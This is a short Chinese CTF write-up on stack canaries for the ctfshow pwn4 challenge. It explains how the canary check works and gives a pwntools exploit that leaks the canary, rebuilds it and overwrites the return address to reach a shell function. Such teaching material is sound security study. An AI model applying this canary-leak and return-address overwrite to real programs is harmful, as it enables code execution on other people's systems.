1.什么是canary?
简单来说canary是生成的一个以 0x00开头的随机数,它存在于ebp或者rbp的附近。
2.canary保护机制是如何实现的?
简单来说就是你输入的值和canary值不相同的话,结束程序。
3.如何绕过?
今天主要讲一种方法利用格式化字符串漏洞泄露
例题ctfshow--pwn4
vuln函数
read函数读入数据通过printf输出。然后就是v3就是我们要泄露出的canary值,跟进v3
我们可以看到buf变量距离ebp112距离,canary距离ebp12距离。那么思路来了。
首先填充垃圾数据100个到刚好贴着canary,然后接收canary的值。这样canary就被我们泄露出来了。Exp如下:
from pwn import *
p = process("./pwn4")
elf=ELF('./pwn4')
shell=0x0804859B
p.recvuntil('Hacker!')
payload=b'f'*100+b'b' #这里多填一个b覆盖掉canary的\x00
p.send(payload) #不能用sendline,因为一个回车会占字节
p.recvuntil('b')
canary=b'\x00'+p.recv(3)
print(canary)
payload = b'A'* 100 + canary + b'A'* 12 + p32(shell)
p.sendline(payload)
p.interactive()
解读第二个payload:buf变量距离返回地址距离116,距离canary100,(canary在这里占4字节),emmm....就是正常的ret2text了。
总结:这个题是最简单的canary题型,其他的canary估计是配合着libc等类型共同出现。
补充:据我所知:canary在32位elf中占4字节,在64位elf中占8字节。